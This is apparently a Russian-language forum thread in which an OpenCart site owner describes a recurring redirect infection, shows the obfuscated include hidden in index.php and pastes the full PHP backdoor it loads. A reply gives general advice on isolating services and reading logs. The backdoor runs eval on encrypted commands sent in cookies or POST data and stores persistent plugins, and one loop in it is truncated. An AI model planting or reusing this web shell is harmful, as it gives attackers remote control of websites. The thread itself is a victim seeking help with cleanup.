Здравствуйте. Недавно начал замечать, что при открытии моего сайта идет редирект на какой то рекламный сайт. Начал смотреть свой код, в index.php нашел строку такого вида:
/*1d3ec*/
@include "\x2fhom\x65/ab\x6din/\x64oma\x69ns/\x68***\x61**\x65/pu\x62lic\x5fhtm\x6c/vq\x6dod/\x76qca\x63he/\x66avi\x63on_\x3786a\x34f.i\x63o";
/*1d3ec*/
когда убрал лишнее, получился путь к какому то файлу:
home/admin/domains/домен_сайта/public_html/vqmod/vqcache/favicon_786a4f.ico
Нашел этот файл, открываю его, а там:
Ну ладно думаю, код удалил из index.php, файл тоже.. на следующий день появился новый код в этом же стиле и новый файл, только в другой папке. Как очистить сайт от этой заразы?
Движок: Опенкарт 2.1.0.1
Из модулей установлены только: Marketplace, Ajax Product Page Loader, [OCJazz] SeoPro, uLogin - панель.
Модификаторы: Local copy OCMOD by iSenseLabs, Easy Blog Simple for oc2011+.
Пароль к хостингу изменил, атрибуты для файла index.php сделал "только чтение", не помогло. Возможно кто то сталкивался с таким. Спасибо что дочитали до конца!
UPD: Вирус до сих пор остался, чистил уже много раз. Решил посмотреть что кроется внутри вредоносного кода, прошу помощи тех кто сможет понять где дыра из кода ниже, так как сам знаком с PHP не более года.
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@error_reporting(0);
@set_time_limit(0);
if(!defined("PHP_EOL"))
{
define("PHP_EOL", "
");
}
if(!defined("DIRECTORY_SEPARATOR"))
{
define("DIRECTORY_SEPARATOR", "/");
}
if (!defined('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18'))
{
define('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18', 1);
$data = NULL;
$data_key = NULL;
$GLOBALS['cs_auth'] = 'aad641a4-4dd3-47a3-981c-7dfb1725ccd9';
global $cs_auth;
if (!function_exists('file_put_contents'))
{
function file_put_contents($n, $d, $flag = False)
{
$mode = $flag == 8 ? 'a' : 'w';
$f = @fopen($n, $mode);
if ($f === False)
{
return 0;
}
else
{
if (is_array($d)) $d = implode($d);
$bytes_written = fwrite($f, $d);
fclose($f);
return $bytes_written;
}
}
}
if (!function_exists('file_get_contents'))
{
function file_get_contents($filename)
{
$fhandle = fopen($filename, "r");
$fcontents = fread($fhandle, filesize($filename));
fclose($fhandle);
return $fcontents;
}
}
function cs_get_current_filepath()
{
return trim(preg_replace("/\(.*\$/", '', __FILE__));
}
function cs_decrypt_phase($data, $key)
{
$out_data = "";
for ($i=0; $i
function cs_decrypt($data, $key)
{
global $cs_auth;
return cs_decrypt_phase(cs_decrypt_phase($data, $key), $cs_auth);
}
function cs_encrypt($data, $key)
{
global $cs_auth;
return cs_decrypt_phase(cs_decrypt_phase($data, $cs_auth), $key);
}
function cs_get_plugin_config()
{
$self_content = @file_get_contents(cs_get_current_filepath());
$config_pos = strpos($self_content, md5(cs_get_current_filepath()));
if ($config_pos !== FALSE)
{
$config = substr($self_content, $config_pos + 32);
$plugins = @unserialize(cs_decrypt(base64_decode($config), md5(cs_get_current_filepath())));
}
else
{
$plugins = Array();
}
return $plugins;
}
function cs_set_plugin_config($plugins)
{
$config_enc = base64_encode(cs_encrypt(@serialize($plugins), md5(cs_get_current_filepath())));
$self_content = @file_get_contents(cs_get_current_filepath());
$config_pos = strpos($self_content, md5(cs_get_current_filepath()));
if ($config_pos !== FALSE)
{
$config_old = substr($self_content, $config_pos + 32);
$self_content = str_replace($config_old, $config_enc, $self_content);
}
else
{
$self_content = $self_content . "
//" . md5(cs_get_current_filepath()) . $config_enc;
}
@file_put_contents(cs_get_current_filepath(), $self_content);
}
function cs_plugin_add($name, $base64_data)
{
$plugins = cs_get_plugin_config();
$plugins[$name] = base64_decode($base64_data);
cs_set_plugin_config($plugins);
}
function cs_plugin_rem($name)
{
$plugins = cs_get_plugin_config();
unset($plugins[$name]);
cs_set_plugin_config($plugins);
}
function cs_plugin_load($name=NULL)
{
foreach (cs_get_plugin_config() as $pname=>$pcontent)
{
if ($name)
{
if (strcmp($name, $pname) == 0)
{
eval($pcontent);
break;
}
}
else
{
eval($pcontent);
}
}
}
foreach ($_COOKIE as $key=>$value)
{
$data = $value;
$data_key = $key;
}
if (!$data)
{
foreach ($_POST as $key=>$value)
{
$data = $value;
$data_key = $key;
}
}
$data = @unserialize(cs_decrypt(base64_decode($data), $data_key));
if (isset($data['ak']) && $cs_auth==$data['ak'])
{
if ($data['a'] == 'i')
{
$i = Array(
'pv' => @phpversion(),
'sv' => '2.0-1',
'ak' => $data['ak'],
);
echo @serialize($i);
exit;
}
elseif ($data['a'] == 'e')
{
eval($data['d']);
}
elseif ($data['a'] == 'plugin')
{
if($data['sa'] == 'add')
{
cs_plugin_add($data['p'], $data['d']);
}
elseif($data['sa'] == 'rem')
{
cs_plugin_rem($data['p']);
}
}
echo $data['ak'];
}
cs_plugin_load();
}
UPD 2:
Посмотрел только что логи по одному из сайтов и вот что там
Ответ
Начнем с простых истин. Вирус - это какая-то программа, которая где-то находится и делает что-то такое, что приводит к ее размножению.
Каким-то образом вирус попадает к вам на сервер. Это может быть дырка в используемом софте на сервере (и далеко не факт, что виноват Опенкарт, тем более, совершенно не важно, лицензионные копии ли там используются), софте хостера, вашем хосте, откуда вы управляете сайтом. И используя эту дырку, вредоносный код получает доступ туда, куда по идее, иметь доступ не должен.
И, получив доступ, вирус, как правило, размножается дальше. Ему не важно, где и с какими лицензиями вы работаете, сколько сайтов хостите и т.д., он будет рассеивать себя везде, куда сможет дотянуться. Поэтому если у вас только 1 дырявый файлик, то под угрозой все, что есть на сервере вместе взятое.
Как быть: починить последствия, сделать бекап, если часто повторяется - накатывать бекап автоматически, хоть каждый час. В деле поиска измененных файлов хорошую помощь сыграют утилиты find, grep, mc. Но это не лечение болезни, а лечение симптома.
Как ловить: для начала попробовать локализовать проблему. Выключить на сайте все, кроме, скажем, веб-сервера. Т.е. если есть ФТП-сервер - затушить его так, что даже вы не сможете войти, аналогично с почтой, ssh, прочими сервисами, что слушают не 127.0.0.1. Если чудеса продолжаются - тушим веб-сервер (сайт будет лежать), но включаем FTP и все остальное и снова ждем чудес. Если и после этого чудеса продолжаются, то скорее всего виноват или кривой хостер, или у вас комплексная проблема.
Обнаружив источник проблемы, пытаемся локализовать проблему более точно. Если чудеса при включенном веб-сервере, то настраиваем веб-сервер на ведение подробнейших логов и пишем их куда-то в нестандартное место, а лучше сразу сливать на удаленный хост. Когда начнутся чудеса, то смотреть логи, где-то там будет что-то интересное и необычное. Вот это необычное и есть дырка.
Если дырка за пределами веб-сервера, то можно попробовать использовать тяжелую артилерию вроде tcpdump, рано или поздно животинка попадется. Тут главное запастись большим объемом диска. Если и тут животинка не попадется, то вас имеет хостер, ну или где-то на предыдущих пунктах она прошла незамеченной.
А найдя дырку, уже известно что исправлять/обновлять и никакого гадания на открытой гуще. Как правило, хорошим тоном будет сообщить авторам о дырке в их софте, они это постараются починить (если авторы являются нашими соотечественниками, то кроме хамства и угроз в ответ ничего не получите) в кратчайшие сроки и выслать вам исправленную версию.
Конечно, такое сафари плохо совместимо с нормальной работой сайта, но это весело и даст результат.
Комментариев нет:
Отправить комментарий